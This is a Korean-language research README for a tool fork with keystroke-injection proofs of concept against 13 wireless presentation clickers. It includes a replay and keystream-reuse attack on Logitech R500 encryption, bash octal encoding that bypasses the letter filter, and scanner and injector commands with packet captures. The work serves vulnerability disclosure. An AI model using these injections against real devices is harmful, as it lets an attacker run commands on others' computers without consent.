
무선 프레젠테이션 클리커의 키 입력 주입 취약점
RF 리버스 엔지니어링을 해보고 싶어서 프레젠테이션 클리커 몇 개를 주문하고 재미를 좀 봤습니다.
이 프로젝트는 nrf-research-firmware의 포크입니다(몇 년 전 Bastille에서 작성한 것입니다). 새로운 트랜시버/프로토콜 몇 가지에 대한 지원을 추가했고, 13가지 일반적인 프레젠테이션 클리커에 대한 키 입력 주입 PoC를 포함했습니다.
| 제조사 | 모델 | 프로토콜 | RFIC | 추가됨 |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 | 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |
이것은 R500에서 사용하는 표준 암호화 Logitech 키보드 프로토콜입니다. MouseJack 프로젝트의 일부로 Logitech Unifying 키보드에 대해 문서화한 "암호화된 키 입력 주입" 공격에 일부 취약합니다.
일부 취약하다고 말하는 이유는 모든 HID 스캔 코드가 허용되지 않기 때문입니다. 구체적으로, 동글이 호스트 컴퓨터로 패킷을 보낼 때 0x04-0x1D(A-Z)가 0x00으로 대체됩니다. 즉, 문자가 아닌 것은 무엇이든 주입할 수 있습니다. 또 다른 예외는 ctrl 키 조합이 문자를 포함하더라도 허용된다는 것입니다.
R500을 통한 효과적인 키 입력 주입은 약간의 창의력이 필요합니다.
대상이 bash 세션에 있다고 가정해 봅시다. bash에서는 문자를 8진수로 인코딩할 수 있으며, 대상이 실행하길 원하는 명령어의 문자를 8진수로 인코딩할 수 있습니다.
예를 들어 ping google.com은 $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'로 인코딩됩니다. 이 문자열을 bash 세션에 보낸 다음 enter를 보내면 대상 머신에서 ping google.com 명령이 실행됩니다.
다음과 같이 nrf24-scanner를 사용하여 Logitech R500의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
동글이 AES 카운터 증가를 강제하지 않기 때문에 패킷을 재전송(replay)할 수 있어 주입이 가능합니다. OTA로 전송되는 패킷은 AES 카운터 모드로 암호화된 USB HID 페이로드와 그 뒤에 오는 카운터로 구성됩니다. 프레젠테이션 클리커의 버튼을 누르면 키 다운 패킷과 키 업 패킷이 생성됩니다. 키 업 패킷은 모두 0으로 구성되어 있어, 재사용할 수 있는 깔끔한 키 자료를 제공하며 이를 자체 페이로드와 XOR하여 OTA로 보낼 수 있습니다.
버튼 누름을 수신하고 두 번째(키 업) 패킷을 추출한 다음 키 자료 참조로 자동 사용하는 과정을 자동화하는 것은 어렵지 않을 것입니다. 하지만 저는 게을러서, 먼저 직접 버튼 누름을 관찰해야 합니다. 그 모습은 다음과 같습니다:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
두 번째 22바이트 패킷이 키 업 패킷입니다.
페이로드의 마지막 바이트를 제거하고 해당 문자열을 복사하여 logitech.py에 붙여넣어 KEYUP_REF를 교체하세요.
(KEYUP_REF를 업데이트하지 않으면 동작하지 않아야 하지만, 만약 동작한다면 알려주세요!)
특정 Logitech R500 동글(주소 85:D1:9D:FE:07)에 bash ping google.com 8진수 인코딩 키 입력 시퀀스를 주입합니다:
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
이것은 R400/R800에서 사용하는 표준 비암호화 Logitech 프로토콜입니다.
다음과 같이 nrf24-scanner를 사용하여 Logitech R400/R800의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
특정 Logitech R400/R800 동글(주소 9D:9E:95:52:07)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Rii Wireless Presenter(둥근 펜 모양)는 BK2451(아마 nRF24 클론으로 보임)을 기반으로 합니다. 자매 기기가 많다는 점에서 범용 프로토콜로 보이므로, 데이터를 더 확보한 후 이 프로토콜을 재분류할 가능성이 높습니다.
기능적으로 암호화되지 않은 무선 키보드이며, 키 입력 주입에 취약합니다.
Wireless Presenter(둥근 펜 모양)는 250Kb/s nRF24 Enhanced Shockburst(ACK 없는 것으로 보임)와 5바이트 주소를 사용합니다. 제가 테스트한 기기는 2425MHz에 머물러 있는 것으로 관찰되었지만, 일종의 주파수 적응 방식을 사용하는 것으로 보입니다. 실제로는 키 입력 패킷을 보내기 전에 대상 채널에 더미 패킷을 몇 개 보내야 합니다.
특성화하지 못한 채널 호핑이 있을 것으로 의심되지만, 단일 채널을 대상으로 해도 키 입력 주입을 입증하기에는 충분합니다.
다음과 같이 nrf24-scanner를 사용하여 Wireless Presenter(둥근 펜 모양)의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5
참고: 사용자의 기기는 다른 채널에 있을 수 있습니다.
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 11:50:33.116] 25 3 6D:8C:01:14:25 4B:51:00
[2019-04-21 11:50:33.212] 25 3 6D:8C:01:14:25 4C:00:00
[2019-04-21 11:50:33.522] 25 3 6D:8C:01:14:25 4D:51:00
[2019-04-21 11:50:33.565] 25 3 6D:8C:01:14:25 4E:00:00
특정 Rii 동글(주소 6D:8C:01:14:25)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25
TBBSC DSIT-60은 BK2451(아마 nRF24 클론으로 보임)을 기반으로 합니다. 테스트하지 않은 자매 기기(예: 이 제품)가 분명히 있습니다. 현재로서는 별개의 프로토콜로 분류하고 있지만, 자매 기기를 테스트하면 변경될 가능성이 높습니다.
기능적으로 암호화되지 않은 무선 키보드이며, 키 입력 주입에 취약합니다.
DSIT-60은 3바이트 주소와 함께 250Kb/s nRF24 Enhanced Shockburst(또는 적어도 OTA 상 동일한 방식)를 사용합니다. 제가 테스트한 기기는 2406MHz에 머물러 있는 것으로 관찰되었지만, 다른 채널을 사용할 수 있는지는 확실하지 않습니다.
다음과 같이 nrf24-scanner를 사용하여 DSIT-60의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3
참고: 사용자의 기기는 다른 채널에 있을 수 있고, 제가 관찰하지 못한 주파수 적응 재튜닝이 있을 수도 있습니다.
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 10:33:44.264] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:44.269] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:52.477] 6 4 87:02:09 01:42:00:28
특정 TBBSC DSIT-60 동글(주소 87:02:09)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09
이것은 거의 확실히 범용 프로토콜이지만, 아직 자매 기기(예: 이 제품)를 살펴보지 않았습니다. 현재로서는 별개의 프로토콜로 분류하고 있지만, 자매 기기를 테스트하면 변경될 가능성이 높습니다.
P-001은 nRF24 RFIC 제품군을 기반으로 하며, 기능적으로 암호화되지 않은 무선 키보드로 키 입력 주입에 취약합니다.
P-001은 5바이트 주소와 함께 2Mb/s nRF24 Enhanced Shockburst를 사용하며, 채널은 2402-2476입니다.